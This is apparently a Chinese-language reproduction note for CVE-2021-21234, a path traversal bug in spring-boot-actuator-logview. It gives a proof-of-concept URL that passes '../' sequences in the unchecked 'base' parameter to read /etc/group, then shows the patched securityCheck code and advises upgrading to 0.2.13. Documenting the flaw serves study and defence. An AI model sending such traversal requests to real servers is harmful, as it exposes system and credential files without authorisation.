springboot任意文件读取 CVE-2021-21234
一、简介
spring-boot-actuator-logview是简单的日志文件查看器作为 Spring Boot 执行器端,允许快速访问 spring-boot web 应用程序日志文件。
二、漏洞复现
项目地址:
链接: https://pan.baidu.com/s/1lm4AZfvLlP-x0GfrdMBKeA 提取码: juq3
下载该项目,并使用idea运行该项目。

打开网页便能查看日志情况

该漏洞存在LogViewEndpoint中,

只对filename进行了检验,并未对base进行检验,
filename检验函数

构造poc如下
http://localhost:8887/manage/log/view?filename=etc/group&base=../../../../../../
页面访问

修复建议
升级到0.2.13版本
在0.2.13版本对base进行了检验。
private void securityCheck(Path base, String filename) {
try {
String canonicalLoggingPath = (filename != null ? new File(base.toFile().toString(), filename) : new File(base.toFile().toString())).getCanonicalPath();
String baseCanonicalPath = (new File(this.loggingPath)).getCanonicalPath();
String errorMessage = "File " + base.toString() + "/" + filename + " may not be located outside base path " + this.loggingPath;
Assert.isTrue(canonicalLoggingPath.startsWith(baseCanonicalPath), errorMessage);
} catch (IOException var6) {
throw new IllegalStateException(var6);
}